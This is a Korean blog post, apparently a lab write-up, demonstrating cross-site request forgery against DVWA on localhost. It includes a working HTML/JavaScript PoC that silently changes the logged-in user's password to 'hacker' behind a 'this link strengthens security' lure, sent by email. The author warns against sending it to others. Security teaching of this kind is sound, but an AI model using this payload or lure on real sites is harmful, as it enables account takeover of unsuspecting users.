[웹 모의해킹-3] CSRF 실습

두비니

·

2021. 5. 28. 18:29

 

 


Cross-Site Request Forgery


 

 

 

0. CSRF공격이란?

특정 사이트가 사용자의 브라우저를 신뢰한다는 점을 공격하는 것입니다.

이미 로그인이 되어있는 관리자가 메일을 열어본 뒤, 해커가 의도한 다른 사이트로 접속하게끔 하여 id/비밀번호를 갈아채는게 목적입니다.

 

개념도 중요하지만 더 중요한 건 사용자가 로그인되어있는 상태여야한다라는 조건입니다.

 

본 글은 공격 자체에 대한 설명을 위한 게 아니니, 더 자세히 알아보고 싶으신 분들은 구글링해보시면 좋을 것 같습니다 :)

 

1. 실습 : Low

우선 security level을 low로 두고, 실습을 해봅시다.아무런 값이나 넣고, 이걸 burpsuite의 http history를 확인해봅시다.

 

 

저같은 경우에는 이렇게 입력한 값이 normal/normal로 입력되었는데, 만약 redirection이 공격자가 볼 수 있는 사이트로 redirection이 되었다면, 실제 비밀번호가 조회되었겠죠?

 

아무튼 실제 실습을 해봅시다.

 

https://github.com/secuacademy/webhacking

 

SecuAcademy/webhacking

'화이트해커가 되기 위한 8가지 웹 해킹 기술' 강의자료. Contribute to SecuAcademy/webhacking development by creating an account on GitHub.

github.com

 

다음 사이트에서 csrf.html파일을 다운로드합니다.

 

wget https://raw.githubusercontent.com/SecuAcademy/webhacking/master/csrf.html
cp csrf.html /opt/lampp/htdocs 

 

<!--
 PoC: CSRF
 Author: Bonghwan Choi
-->

<html>
<meta charset="UTF-8">
<head>
</head>

<script language="javascript">

  function poc() {

    var host='localhost';

    var req_uri = "http://" + host + "/dvwa/vulnerabilities/csrf/?password_new=hacker&password_conf=hacker&Change=Change";
    var xmlhttp = new XMLHttpRequest();

    xmlhttp.open("GET",req_uri,true);
    xmlhttp.withCredentials = "true";

    xmlhttp.send();

    alert('Done!!');
  }

</script>

<body>
(CSRF 공격 예제)<br />
이 링크를 누르시면 보안이 강화됩니다!!<br />
<a href="javascript:poc()">Click!</a><br />
</body>
</html>

 

해당 코드는 csrf 실습코드의 전문입니다.

링크를 누를 경우, poc함수가 실행되면서, 비밀번호를 바꾸는 쿼리를 보내버립니다.

이걸 제 메일로 보내겠습니다.

 

당연히 알고 계시겠지만, 실습용이라도 타인에게 이런 메일을 보내는 것을 불법입니다. 꼭 자기자신 혹은 합의가 된 상대에게만 보내시길 바랍니다.

 

 

저 링크에는 http://127.0.0.1/csrf.html을 넣어놓았습니다.

아무튼 그 링크를 실행시켜보면, 

 

 

다음과 같이 Done이라는 메세지와 함께, 다시 dvwa 로그인 페이지로 넘어갈 경우, 비밀번호가 hacker로 바뀌어있는 것을 확인할 수 있습니다.

 

직접 burpsuite에서 확인해보면, cookie가 동일한 것을 볼 수 있습니다.

이 취약점을 이용하여 비밀번호를 바꾼 것을 볼 수 있습니다.